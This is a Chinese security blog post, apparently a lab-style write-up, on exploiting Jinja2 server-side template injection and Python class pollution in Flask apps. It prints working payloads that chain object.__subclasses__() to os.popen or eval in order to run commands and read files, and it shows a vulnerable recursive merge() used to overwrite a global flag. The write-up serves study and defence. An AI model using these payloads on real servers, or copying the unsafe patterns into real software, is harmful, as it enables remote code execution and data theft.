【漏洞复现】探索 Python 中原型链的利用与污染

简介: 在本文中,我们从实际应用的角度出发,深入探讨原型链的利用方式,并剖析可能导致代码安全漏洞和意外行为的污染情形,同时希望读者深刻了解 Python 中原型链的概念、机制以及潜在的安全风险。

前言

本篇博文主要内容是通过具体案例的分析,探讨 Python 中出现的原型链利用和污染所涉及的安全问题

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

原型链的利用

现在有这么一个 Flask 程序,会把用户的输入渲染到对话框中,如下图所示:

我们的目的是通过这个输入框,获取到同级目录下的 flag.txt 文件的内容,目录结构如下所示:

├──app.py
├──flag
├──requirements.txt
├─static
├─templates

通过阅读后端代码可以发现,该程序使用了危险函数 render_template_string(),并且在该程序中,render_template_string() 直接渲染用户输入的数据作为模板,并且没有进行适当的转义或清洗,这就可能导致服务器端模板注入(Server-Side Template Injection,SSTI)攻击。

@app.route('/', methods=['GET', 'POST'])
def vulnerable():
    chat_log = []
    if request.method == 'POST':
        user_input = request.form.get('user_input')
        try:
            result = render_template_string(user_input)
        except Exception as e:
            result = str(e)
        chat_log.append(('输入', user_input))
        chat_log.append(('输出', result))
    return render_template('index.html', chat_log=chat_log)

在 Flask 中,模板引擎默认是 Jinja2。Jinja2 模板引擎允许在模板中使用变量和表达式,如果这些变量和表达式来自不可信的源,就可能被恶意构造,导致执行非预期的代码。

一路跟进 render_template_string() 的源代码:

[jinja2/environment.py]  from_string()       ->
[jinja2/environment.py]  self.compile()      ->
[jinja2/environment.py]  self._parse()       ->
[jinja2/parser.py]       Parser().parse()

可以发现,render_template_string() 并没有对输入的参数进行转义,而是直接在 Jinja2 模板中进行使用。

这里输入的是 {{5*5}},目的是让 Jinja2 模板能够执行 5*5 的运算。

接下来,我们就利用这一特性,来进行实际操作。


需要注意的是,我们得想好用什么库来读取 flag.txt 文件,这里使用 os.popen 去读取 flag.txt 文件(当然还有其他方式,比如 FileLoader.get_data(),全凭个人喜好),因此我们现在要想办法导入 os 库。


我们可以从基类 object 下手,看一下它的子类集里是否有包含 os 相关的库,object.__subclasses__():

可以发现有两个相关联的库,<class 'os._wrap_close'> 和 <class 'os._AddedDllDirectory'>,这里我们就以 os._wrap_close 为例。

通过源码阅读发现,我们可以在 os._wrap_close 的 __init__ 方法中使用 global 来调用 popen() 方法,代码如下所示:

os._wrap_close.__init__.__globals__["popen"]

运行结果:

因此,最终代码如下所示:

classes = {}.__class__.__base__.__subclasses__() # object.__subclasses__()
names = [cls.__name__ for cls in classes]
print(names.index("_wrap_close")) # 134
classes[134].__init__.__globals__["popen"]("type flag").read()

运行结果:


当然还有其他方法,例如使用危险函数 eval()。


这里需要了解一个前置知识,通过 eval() 这个函数可以导入 Python 库,比如导入上文我们要使用的 os 库,代码如下所示:

eval('__import__("os")')

运行结果:

其他过程相似,主要就是整个原型链利用的过程,代码如下所示:

{}.__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')

运行结果:

又或者使用 FileLoader.get_data() 方法来读取文件,代码如下所示:

{}.__class__.__base__.__subclasses__()[100].__dict__['get_data'](0, 'flag')

运行结果:

方法很多,剩下的请自行探索...

原型链的污染

现在有这么一个 Flask 程序,它是一个简易的博客网站,如下图所示:

我们的目的是通过 /get_flag 接口获取到 treasure,要实现这一目的,只需使得 flag 的值为 true 即可,代码如下所示:

而 flag 则是要从环境变量中获取,代码如下所示:

flag = os.getenv("flag")

按照正常的逻辑,我们是无法去修改环境变量里的值,因此,我们要另寻出路。

看到导入的方法里有 merge() 函数,点进去一看,果然是熟悉的味道,代码如下所示:

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

再看到使用 merge() 函数的地方,代码如下所示:

@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
    data = json.loads(request.data)
    feedback = Feedback()
    # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
    merge(data, feedback)
    save_feedback_to_disk(feedback)
    return jsonify({"success": "true"}), 200
class Feedback:
    def __init__(self):
        self.title = ""
        self.content = ""
        self.rating = ""
        self.referred = ""

恰好符合我们利用的条件,可以通过 Feedback 来获取到全局变量,从而实现污染 flag = "true"。

先尝试随便创建一个 Feedback,如下图所示:

现在我们去 /get_flag 返回的是 Nope,如下图所示:

将刚刚创建 Feedback 的接口进行重放,同时污染 flag 变量,如下图所示:

现在再去访问 /get_flag 接口,成功拿到了我们想要的 treasure,如下图所示:

后记

在本文中,我们从实际应用的角度出发,深入探讨原型链的利用方式,并剖析可能导致代码安全漏洞和意外行为的污染情形,同时希望读者深刻了解 Python 中原型链的概念、机制以及潜在的安全风险。

相关文章
|
安全 Python
python——脚本实现检测目标ip是否存在rce漏洞
python——脚本实现检测目标ip是否存在rce漏洞
443 0
python——脚本实现检测目标ip是否存在rce漏洞
|
2月前
|
安全 Java Python
基于python-django的Java网站全站漏洞检测系统
基于python-django的Java网站全站漏洞检测系统
37 0
|
4月前
|
安全 网络安全 开发者
探索Python中的装饰器:简化代码,增强功能网络安全与信息安全:从漏洞到防护
【8月更文挑战第30天】本文通过深入浅出的方式介绍了Python中装饰器的概念、用法和高级应用。我们将从基础的装饰器定义开始,逐步深入到如何利用装饰器来改进代码结构,最后探讨其在Web框架中的应用。适合有一定Python基础的开发者阅读,旨在帮助读者更好地理解并运用装饰器来优化他们的代码。
|
4月前
|
安全 应用服务中间件 网络安全
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)
61 11
|
4月前
|
安全 网络安全 数据安全/隐私保护
探索Python中的异步编程:从基础到高级网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
【8月更文挑战第26天】在Python的世界中,异步编程是提高效率和性能的关键。本文将引导你了解异步编程的核心概念,通过实际代码示例深入探讨异步IO、协程、任务和异步库的使用。我们将一起构建一个简单的异步Web爬虫,并学习如何优化其性能。无论你是初学者还是有经验的开发者,这篇文章都将为你打开一扇通往高效异步编程世界的大门。
|
4月前
|
安全 网络安全 数据安全/隐私保护
探索Python中的异步编程:从基础到高级网络安全的守护者:从漏洞到加密,构建坚固的信息防护墙
【8月更文挑战第24天】在本文中,我们将深入探讨Python的异步编程世界。通过逐步介绍基本概念、核心模块以及实际应用示例,我们旨在提供一个全面的理解框架,帮助读者从入门到精通。无论你是初学者还是有经验的开发者,这篇文章都将为你揭示如何利用Python的异步特性来提高程序性能和响应性。 【8月更文挑战第24天】在数字信息的海洋中,网络安全是一艘航向安全的船。本文将带你穿梭在网络的波涛之中,揭秘那些潜藏在水面下的风险与挑战。我们会探索网络漏洞的成因,分析加密技术如何成为数据保护的盾牌,并讨论提升个人和组织的安全意识的重要性。文章旨在启发读者思考如何在日益复杂的网络环境中保护自己的数字身份,同时
|
6月前
|
JSON 安全 数据格式
详解python pickle中的反序列化漏洞
今天我们来聊聊Python里的反序列化攻击。先来看看什么是序列化和反序列化。简单来说,序列化就是把数据结构转换成字节流,这样我们就可以把数据保存到文件里或者通过网络传输。反序列化则是把这些字节流再转换回原来的数据结构。 在Python里,常用的模块之一就是Pickle。它可以帮我们很方便地进行序列化和反序列化操作。比如,你可以把一个复杂的Python对象序列化保存下来,等需要用的时候再反序列化回来。 反序列化攻击的概述 反序列化过程有漏洞:如果我们反序列化了一个不可信的数据源,那就可能引发反序列化攻击。攻击者可以在序列化的数据里嵌入恶意代码,当你反序列化这个数据时,这些恶意代码就会被执
|
安全 网络协议 Shell
Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291)
Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291)
458 0
|
算法 调度 Python
改进的多目标差分进化算法在电力系统环境经济调度中的应用(Python代码实现)【电气期刊论文复现】
改进的多目标差分进化算法在电力系统环境经济调度中的应用(Python代码实现)【电气期刊论文复现】
142 0
|
存储 机器学习/深度学习 供应链
Python漏洞允许在35万个项目中执行代码
Python漏洞允许在35万个项目中执行代码